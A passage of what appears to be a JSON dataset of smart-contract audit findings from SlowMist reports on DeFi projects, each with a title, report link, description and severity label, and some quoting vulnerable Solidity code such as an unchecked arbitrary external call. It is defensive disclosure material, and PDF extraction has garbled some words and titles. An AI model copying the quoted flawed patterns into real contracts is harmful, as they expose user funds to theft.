"https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "In the SnStakeManager contract, users deposit their BNB into this contract and obtain the SnBNB as the staking certicate. And the calculation of the snBnbToMint is dependent on the convertBnbToSnBnb function, the totalSupply of the SnBNB, and the totalPooledBnb in this contract. If the deposit amount of the BNB is small enough or the totalPooledBnb is big enough, the calculation of the snBnbToMint can be 0. But the amount of the BNB can still add to the amountToDelegate to cause the increment of the totalPooledBnb. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "The BNB can be remained in the contract", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "In the SnStakeManager contract when users claim to withdraw their BNB tokens in the claimWithdraw in the same uuid, the calculation of the amount = (totalBnbToWithdraw_ * amountInSnBnb) / totalSnBnbToBurn_; has the rounding to obtain one of the users withdrawal amount. It will cause the rounded amount of the BNB to remain in this contract and can not be withdrawn. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "The business logic is unclear", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "In the SnStakeManager contract, the claimUndelegated function calculates the claimUndelegated withdrawal value in one uuid and assigns it to two temporary variables. The two temporary variables are just for recording and have no other usage. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Missing the validator check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "In the SnStakeManager contract, the Manager role can change the Validator through the redelegate function, and this check is done by the NATIVE_STAKING contract, and if the call of the redelegate function failed, it will consume the gas of this call. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing the event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "There are no event logs of the claimUndelegated and claimFailedDelegation in this SnStakeManager contract. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Preemptive initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "By calling the initialize function to initialize the contracts, there is a potential issue that malicious attackers preemptively call the initialize function to initialize. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Race Conditions Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Dev address setting enhancement suggestions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Synclub_en-us.pdf", + "body": "In the SnStakeManager contract, the GOVERNANCE_ROLE role can set the revenuePool address to receive the fee. If the address is an EOA address, in a scenario where the private keys are leaked, the teams revenue will be stolen. ", + "labels": [ + "SlowMist", + "Synclub", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Business logic error Payable Payable Can Modify State - Can Modify State Can Modify State Can Modify State - - - - - - - 13", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "When originalAssetByID gets the data of originalAssets, the _assetID passed in should be reduced by 1, and then readout. activateAsset, deactivateAsset function directly passes in _assetID, and then read originalAssets[_assetID], The judgment is _assetID <= originalAssets.length . There are two issues here: 1. When _assetID == originalAssets.length, originalAssets[_assetID] cannot read data. 2. The originalAssets data obtained here is not obtained using the originalAssetByID function, and the business logic needs to be conrmed. contracts/AssetRegistry.sol#L101-L133 function activateAsset(uint256 _assetID, uint256 _tubeID) public onlyOperator { require(_assetID > 0 && _assetID <= originalAssets.length, \"invalid asset id\"); Asset storage oa = originalAssets[_assetID]; if (_tubeID == 0 || oa.tubeID == _tubeID) { if (oa.active == false) { oa.active = true; emit AssetActivated(_assetID, oa.tubeID); } } else { Asset storage sa = shadowAssets[_assetID][_tubeID]; if (sa.asset != address(0) && sa.active == false) { sa.active = true; emit AssetActivated(_assetID, _tubeID); } } } function deactivateAsset(uint256 _assetID, uint256 _tubeID) public onlyOperator { require(_assetID > 0 && _assetID <= originalAssets.length, \"invalid asset id\"); Asset storage oa = originalAssets[_assetID]; if (_tubeID == 0 || oa.tubeID == _tubeID) { if (oa.active == true) { oa.active = false; 14 emit AssetDeactivated(_assetID, oa.tubeID); } } else { Asset storage sa = shadowAssets[_assetID][_tubeID]; if (sa.asset != address(0) && sa.active == true) { sa.active = false; emit AssetDeactivated(_assetID, _tubeID); } } } originalAssetIDs[_tubeID][_asset] = id; The record is originalAssets.length;, so to take the value of originalAssets, the index should be originalAssetIDs[_tubeID][_asset]-1, combined with the processing logic here, you need to conrm the issues with the developer. contracts/AssetRegistry.sol#L74-L84 function addOriginalAsset(uint256 _tubeID, address _asset) public onlyOperator returns (uint256) { require(_tubeID > 0 && _asset != address(0), \"invalid parameter\"); uint256 id = assetID(_tubeID, _asset); if (id == 0) { originalAssets.push(Asset(_tubeID, _asset, true)); id = originalAssets.length; originalAssetIDs[_tubeID][_asset] = id; emit NewOriginalAsset(_tubeID, _asset, id); } return id; }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Authority transfer enhancement", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "There is no pending and accept mechanism for authority transfer to avoid loss of authority contracts/CrosschainERC20.sol#L34-L37 function transferMintership(address _newMinter) public onlyMinter { minter = _newMinter; 16 emit MinterSet(_newMinter); } contracts/CrosschainERC721.sol#L29-L32 function transferMintership(address _newMinter) public onlyMinter { minter = _newMinter; emit MinterSet(_newMinter); }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Authority Control Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "unsafe external call risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "The withdraw function in the contract code does not check the whitelist of _recipient and _data. There is an unsafe external call (success,) = _recipient.call(_data); . The attacker can use _recipient.call(_data); to call any function of the lord contract, or transfer the token approved by the user to the Tube contract. contracts/Tube.sol#L179-L207 function withdraw( uint256 _srcTubeID, uint256 _txIdx, address _token, address _recipient, uint256 _amount, bytes memory _data, bytes memory _signatures ) public whenNotPaused { require(_amount != 0, \"amount is 0\"); 17 require(_recipient != address(0), \"invalid recipient\"); require(_signatures.length % 65 == 0, \"invalid signature length\"); bytes32 key = genKey(_srcTubeID, _txIdx, _token, _recipient, _amount, _data); ledger.record(key); (bool isValid, address[] memory signers) = verifier.verify(key, _signatures); require(isValid, \"insufficient validators\"); bool success = true; if (_data.length > 0) { lord.mint(_token, address(this), _amount); IERC20(_token).safeApprove(_recipient, _amount); (success, ) = _recipient.call(_data); if (!success) { IERC20(_token).safeDecreaseAllowance(_recipient, _amount); } } else { lord.mint(_token, _recipient, _amount); } emit Settled(key, signers, success); }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Unsafe External Call Audit", + "Severity: Critical" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "The Owner of the Tube contract has too much authority. The owner of the Lord contract can be changed, and the owner of the Lord contract can execute mint and burn arbitrarily. This will aect the users assets. contracts/Tube.sol#L71-L78 function upgrade(address _newTube) public onlyOwner { if (ledger.owner() == address(this)) { ledger.transferOwnership(_newTube); } 18 if (lord.owner() == address(this)) { lord.transferOwnership(_newTube); } } contracts/Lord.sol#L94-L131 function burn( address _token, address _sender, uint256 _amount ) public onlyOwner { if (address(standardTokenList) != address(0) && standardTokenList.isAllowed(_token)) { // transfer token to standardTokenList _callOptionalReturn( _token, abi.encodeWithSelector(IToken(_token).transferFrom.selector, _sender, tokenSafe, _amount) ); return; } if (address(proxyTokenList) != address(0) && proxyTokenList.isAllowed(_token)) { _callOptionalReturn( _token, abi.encodeWithSelector(IToken(_token).transferFrom.selector, _sender, address(this), _amount) ); _callOptionalReturn(_token, abi.encodeWithSelector(IToken(_token).burn.selector, _amount)); return; } _callOptionalReturn(_token, abi.encodeWithSelector(IToken(_token).burnFrom.selector, _sender, _amount)); } function mint( address _token, address _recipient, uint256 _amount ) public onlyOwner { if (address(standardTokenList) != address(0) && 19 standardTokenList.isAllowed(_token)) { require(tokenSafe.mint(_token, _recipient, _amount), \"token safe mint failed\"); return; } if (address(proxyTokenList) != address(0) && proxyTokenList.isAllowed(_token)) { require(minterPool.mint(_token, _recipient, _amount), \"proxy token mint failed\"); } _callOptionalReturn(_token, abi.encodeWithSelector(IToken(_token).mint.selector, _recipient, _amount)); } function mintNFT( address _token, uint256 _tokenID, address _recipient, bytes memory _data ) public onlyOwner { IERC721Mintable(_token).safeMint(_recipient, _tokenID, _data); } function upgrade(address _newLord) public onlyOwner { if (minterPool.owner() == address(this)) { _callOptionalReturn( address(tokenSafe), abi.encodeWithSelector(minterPool.transferOwnership.selector, _newLord) ); } if (tokenSafe.owner() == address(this)) { _callOptionalReturn( address(tokenSafe), abi.encodeWithSelector(tokenSafe.transferOwnership.selector, _newLord) ); } }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Authority Control Vulnerability", + "Severity: High" + ] + }, + { + "title": "Business logic aws", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "The swapCoinForCrosschainCoin function will call cerc20.depositTo. contracts/CrosschainCoinRouter.sol#L37-L40 function swapCoinForCrosschainCoin(uint256 _amount) public payable { wrappedCoin.deposit{value: _amount}(); cerc20.depositTo(msg.sender, _amount); } cerc20.depositTo will call safeTransferFrom, where msg.sender is the CrosschainCoinRouter contract, but CrosschainCoinRouter has authorized CrosschainERC20 contract operation assets. contracts/CrosschainERC20.sol#L43-L47 function depositTo(address _to, uint256 _amount) public { require(address(coToken) != address(0), \"no co-token\"); coToken.safeTransferFrom(msg.sender, address(this), _amount); _mint(_to, _amount); } Although the allowance is set to -1, under extreme conditions, the continuous consumption quota will still be reduced to no quota. At this time, the contract cannot be used without re-approve. contracts/CrosschainCoinRouter.sol#L20-L25 constructor(CrosschainERC20 _cerc20) public { ERC20 ct = _cerc20.coToken(); cerc20 = _cerc20; ct.safeApprove(address(cerc20), uint256(-1)); 21 wrappedCoin = WrappedCoin(address(ct)); }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "Owner can set the relayfee arbitrarily, and there is no limit on the value range. When the relayfee is set to a large value, most of the user's funds will be used to pay the relayFees. contracts/TubeRouter.sol#L49-L55 function setRelayFee(uint256 _tubeID, uint256 _fee) public onlyOwner { if (_fee == 0) { relayFees[_tubeID].exists = false; } else { relayFees[_tubeID] = RelayFee(_fee, true); } }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Coding optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "22 Owner can withdraw ETH and token in the contract. There are relayFees in the TubeRouter contract, and the Owner can withdraw the relayFees through the withdrawToken function, However, withdrawCoin and withdrawToken are used to extract the assets that were unexpectedly credited into the contract. contracts/TubeRouter.sol#L97-L106 function withdrawCoin(address payable _to) external onlyOwner { _to.transfer(address(this).balance); } function withdrawToken(address _to, IERC20 _token) external onlyOwner { uint256 balance = _token.balanceOf(address(this)); if (balance > 0) { _token.safeTransfer(_to, balance); } } contracts/Tube.sol#L229-L238 function withdrawCoin(address payable _to) external onlyOwner { _to.transfer(address(this).balance); } function withdrawToken(address _to, IERC20 _token) external onlyOwner { uint256 balance = _token.balanceOf(address(this)); if (balance > 0) { _token.safeTransfer(_to, balance); } }", + "labels": [ + "SlowMist", + "ioTube", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Other safety reminders", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - ioTube_en-us.pdf", + "body": "Note that when signing, make sure that the K value is not the same in the signature implementation. In the elliptic curve signature algorithm, if the random number is not safe enough and the same K value random number is used, there will be two transactions with the same R value. , So that the private key can be calculated, please pay attention to investigate similar cryptographic implementations. Reference: https://panzhibiao.com/2019/03/13/important-random-k-and-fake-signatures/ To capture events in the cross-chain bridge, the implementation of subscribing to the events of the specied contract should be adopted to avoid the attacks of fake contract events", + "labels": [ + "SlowMist", + "ioTube", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Recommendations for Parameter Declarations - - - - - - - - - - - - - - - - - - -", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the DTBT contract, the _name and _symbol parameters are hardcoded with xed values, but they are not declared as constants, which will result in additional gas consumption. The same is true for stableCoinReceiver , sTBTReceiver , stbt , stableCoin parameters in the TBillSimple contract. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Invalid function return value", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the DTBT contract, the owner role can modify the decimals of the contract through the updateDecimals function. This function denes the return value, but it does not return any value. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "The transfer return value that does not conform to the EIP20 interface standard", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the DTBT contract, users can transfer DTBT tokens through the transferFrom function. However, the implementation of this function does not comply with the return value standard specied in EIP20. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Low" + ] + }, + { + "title": "Redundant Period enum", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "The Period enum is dened in the TBillSimple contract, but it is not used in the contract. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing error message", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the DTBT contract, the add/sub function users add and subtract mathematically. It will perform overow checks through require , but no error message will be thrown when the check fails, which will prevent users from intuitively obtaining the cause of the error. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Hardcoded testnet address issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, the parameters of stableCoinReceiver, sTBTReceiver, stbt, and stableCoin are all hardcoded with the address of the Goerli testnet. If the hard-coded address is not modied when the protocol is launched on the mainnet, the protocol will not work properly. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "collectEndTime is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, managers can buy/sell STBT through the swap function. It checks whether the current time is less than the closing end time of the ETF, but does not check whether the current time is greater than the fundraising end time of the ETF. Although it will check whether the isCompletedCollect status of the ETF is true through _checkTx , users can still add liquidity to the ETF at this time. If the swap operation is performed at this time, the stableCoin will be unbound, and users will not be able to add liquidity during the fundraising period, which is inconsistent with the design expectation. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Missing 0 balance check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, managers can synchronize the stableCoin position data in bPool through the rebalance function. But it does not check whether the stableCoin balance in bPool is greater than 0, and if the balance is 0, the rebind operation is meaningless. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Decimal conversion causes data mismatch", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, managers can buy/sell STBT through the swap function. It will adjust the ETF position through _sendStableCoin and _sendSTBT functions respectively, and use _decimalsHandle function to perform decimal conversion between stableCoin and stbt tokens. However, due to the fact that solidity will truncate decimals when performing division operations, there will be some precision loss when converting large decimals to small decimals. This will cause the calculation result of _decimalsHandle to be smaller than the actual amount of tokens received by the ETF, causing the Record data of the ETF to be inconsistent with the actual balance. In fact, the rebalance function in the TBillSimple contract can alleviate the problem of the mismatch between the stableCoin balance and Record data, but the contract does not implement the rebalance operation for STBT tokens. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Arithmetic Accuracy Deviation Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Incorrect DTBT amount update", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, it uses DTBT instead of STBT for timely accounting operations. When ETF sells STBT, it will burn the balance of DTBT tokens in bPool and unbond them, but it does update the DTBT with the same balance through _updateDtbtAmount function by mistake, which will make the amount of DTBT tokens in bPool not decrease , which is not as expected by design. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Invalid execution result capture", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the TBillSimple contract, the _invokeUnbind function is used to unbind the specied token in the ETF. It captures the result of the operation through try-catch , but does not process the result of the operation in the catch. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Typo issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the smart join/exit pool function of the Actions contract, it will receive the handleToken parameter to specify the source token or target token of the token swap. But it is wrong to write this parameter as handleToekn. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The length of minAmountsOut is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the Actions contract, the autoExitSmartPool function user removes the user's liquidity and converts the obtained tokens into the specied tokens, and performs a slippage check through the minAmountsOut parameter passed in by the user. However, the function does not check whether the length of the minAmountsOut list is the same as the length of the tokens. If the length of the incoming list is shorter than the expected length, the transaction may fail and waste gas. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant approval operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the Actions contract, the autoExitSmartPool function user removes user liquidity and converts the obtained tokens into specied tokens. It will rst approve the pool tokens in this contract to the contract itself, and then perform _exit operation. But the self-approval operation is meaningless. If the contract needs to transfer tokens, it can be transferred directly through transfer without approval, which is a waste of gas. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The validity of the aggregator is not checked", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/DeSyn Phase4 - SlowMist Audit Report.pdf", + "body": "In the Actions contract, the smart join/exit pool mode will help users exchange tokens through the _makeSwap function. It performs token exchange operations by calling the aggregator address specied by the user. It stipulates that the aggregator is composed of UNISWAPV2, UNISWAPV3, and ONEINCH through the SwapType enumeration, but in fact, the contract does not check whether the aggregator called by the user is a real and valid address. If the user is phished or the wrong address is passed in, it will result in a loss of funds or use the Actions contract to perform sensitive operations on the ETF. For example: when performing the swap through ONEINCH, it will not check the address of the caller and can pass in any call data. This allows the attacker to perform operations such as setController, approveUnderlying, addTokenToWhitelist, etc. on the pool when the user is phished. ", + "labels": [ + "SlowMist", + "DeSyn Phase4 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: High" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Pancakeswap-CakePool_en-us.pdf", + "body": "In the cakePool contract, the owner role can set the DURATION_FACTOR and DURATION_FACTOR_OVERDUE by 7 calling the setDurationFactor and setDurationFactorOverdue. If these values are set too large or too small, this may aect the calculation of user.shares when calling the deposit and withdraw function. ", + "labels": [ + "SlowMist", + "Pancakeswap-CakePool", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Missing event records", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Pancakeswap-CakePool_en-us.pdf", + "body": "In the cakePool contract, the owner role can set admin, treasury, operator, boostContract, freeFeeUsers, performanceFee, performanceFeeContract, withdrawFee, withdrawFeeContract, withdrawFeePeriod, MAX_LOCK_DURATION, DURATION_FACTOR, DURATION_FACTOR_OVERDUE, UNLOCK_FREE_DURATION and 8 BOOST_WEIGHT by calling the setAdmin, setTreasury, setOperator, setBoostContract, setFreeFeeUser, setPerformanceFee, setPerformanceFeeContract, setWithdrawFee, setWithdrawFeeContract, setWithdrawFeePeriod, setMaxLockDuration, setDurationFactor, setDurationFactorOverdue, setUnlockFreeDuration and setBoostWeight. but there no event logging is preformed. ", + "labels": [ + "SlowMist", + "Pancakeswap-CakePool", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant collectEndTime check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF, it will check isCompletedCollect and collectEndTime to decide whether to perform _claimManagerFee operation. But when isCompletedCollect is true, the collectEndTime check will be performed in snapshotEndAssets, and when isCompletedCollect is false, the collectEndTime check will be performed in exitPoolHandleB. Hence the collectEndTime check before the _claimManagerFee operation is redundant. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant closureEndTime check on exitPool", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the CongurableRightsPool contract, users can redeem underlying assets through the exitPool function. When the pool is a closed ETF and isCloseEtfCollectEndWithFailure is false, it will check that the current time must be greater than closureEndTime + 5 minutes before allowing the user to exit. However, it should be noted that the snapshotEndAssets operation will be performed before this. The snapshotEndAssets function will also check whether the current time is greater than closureEndTime + 5 minutes . Only the admin and owner can execute snapshotEndAssets within 5 minutes after the closure period ends. Otherwise, the transaction will be reverted. Therefore, the closureEndTime check in the exitPool function is redundant. When snapshotEndAssets cannot be performed, the entire transaction will be reverted, and subsequent closureEndTime checks will not be performed. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant performance fee calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the exitPool function of the CongurableRightsPool contract, redeemAndPerformanceFeeReceived, nalAmountOut and redeemFeeReceived are calculated through exitPoolHandleA. However, since the performance fee will be calculated uniformly in the snapshotEndAssets operation, there is no need to process the performance fee in the exitPool function. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The time allowed for snapshots is too short", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the CongurableRightsPool contract when the closed ETF completes collect and the collection period has ended, the current total value of the ETF can be recorded through the snapshotBeginAssets function. However, users can only call the snapshotBeginAssets function within 15 minutes after the end of the collection period. If there is congestion on the chain, it may not be possible to call the snapshot in time within 15 minutes. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Duplicate decimal processing issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the DesynChainlinkOracle contract, the getPrice function is used to obtain the corresponding token price from prices, getChainlinkPrice, and getUniswapPrice, and perform decimal processing. However, decimal has been processed in getChainlinkPrice and getUniswapPrice, and theoretically, the returned decimal will be 1e18. Therefore, processing decimals through decimalDelta will cause decimals to be enlarged. Note that the amountIn passed in for the consult in the getUniswapPrice function is 1e18, which needs to be ensured that the token decimal in twapOracle matches it in practice ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Decimal processing issue in AllPrice calculation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the DesynChainlinkOracle contract, the getAllPrice function is used to calculate the total value of the specied amount of tokens. It is calculated by badd(fundAll, bmul(getPrice(t), tokenAmountOut)) , theoretically the decimal returned by getPrice is 1e18, and the decimal of tokenAmountOut is consistent with the decimal of the token itself. Therefore, multiplying these two values will result in a very large decimal in the nal result. The getNormalizedWeight function is also aected by this, but this is not harmful to normal business. Note: ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Redundant code issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the SmartPoolManager library, the exitPoolHandle function has been deprecated since closed ETF prots are calculated in snapshotEndAssets. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Token list conict in recordTokenInfo", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "When the user performs createPool and joinPool, if the Pool is a closed ETF and the current time is within the collection period, the KOL invitation amount will be recorded through UserVault's recordTokenInfo interface. But unfortunately, the tokens in the Pool can be Bind/unBind at any time, which will cause the list of tokens supported by the Pool to change. If the recordTokenInfo operation is performed when the Pool token list changes, the amount recorded by variables such as poolInviteTotal, kolTotalAmountList, and kolUserInfo may be disturbed. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "couldManagerClaim not checked when managerClaim", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the UserVault contract, the Manager role can claim management fees through the managerClaim function, but it does not check whether the couldManagerClaim parameter is true. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Some redundant invoke functions", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the Invoke library, the strictInvokeTransfer, invokeUnwrapWETH, invokeWrapWETH, and invokeMint functions are not used. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of ETF falsication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the pool through the rebalance function. But the address of the ETF is obtained from the rebalanceInfo passed in by the user. If a malicious user passes in a fake ETF, the check in the onlyManager decorator will be bypassed, and the _verifyWhiteToken check of token1 and the isCompletedCollect and collectEndTime checks will be 